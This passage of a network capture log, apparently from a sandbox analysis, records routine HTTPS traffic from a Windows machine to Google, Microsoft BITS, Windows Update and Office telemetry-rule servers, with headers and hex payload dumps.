Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730391975941",null,null,null,
2024-10-31 16:26:19 UTC	937	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=f9vhofKn-HHTl4-J6QSMD0gGTtVGyh1C0ATywUHKQFGCaHpgkIRAvoBtksaoBE8zb1yVD4kBbGk7nL-zvda_Om-acgvHMWu8yu_vqGGEPeARdbAe7Lu3NHAyi_nA_0kgeEodmtlRDiMLI_Ry_lmSbgPlJlCC4hEwvOqa6EATNIh9uAzUd1Y; expires=Fri, 02-May-2025 16:26:18 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Thu, 31 Oct 2024 16:26:18 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Thu, 31 Oct 2024 16:26:18 GMT Connection: close Transfer-Encoding: chunked
2024-10-31 16:26:19 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-31 16:26:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49750	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:18 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-31 16:26:19 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=173964 Date: Thu, 31 Oct 2024 16:26:18 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	62827	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:19 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-31 16:26:20 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=174019 Date: Thu, 31 Oct 2024 16:26:20 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-31 16:26:20 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	62833	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:56 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=xggLk+yRVhH6MbZ&MD=FAVm525a HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-31 16:26:56 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: ea5cdbc2-6756-4d3e-be4f-ff7f4a873ef5 MS-RequestId: 6b3015f3-4d85-4744-9ee0-7aa4b76bb592 MS-CV: Wc/YPkDglkORIYXe.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 31 Oct 2024 16:26:56 GMT Connection: close Content-Length: 30005
2024-10-31 16:26:56 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-31 16:26:56 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	62834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:57 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:26:57 UTC	561	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:57 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162657Z-16849878b78sx229w7g7at4nkg000000080g00000000gg84 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:26:57 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-31 16:26:57 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-31 16:26:57 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-31 16:26:57 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-31 16:26:57 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-31 16:26:57 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-31 16:26:57 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-31 16:26:57 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-31 16:26:57 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
2024-10-31 16:26:58 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	62836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:58 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:26:59 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:58 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162658Z-16849878b78bcpfn2qf7sm6hsn0000000b8g00000000x0su x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 16:26:59 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	62835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:26:58 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:26:59 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:26:59 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 041e76a7-601e-005c-45ae-26f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162659Z-16849878b787bfsh7zgp804my400000008hg00000000gvsh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:26:59 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	62838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
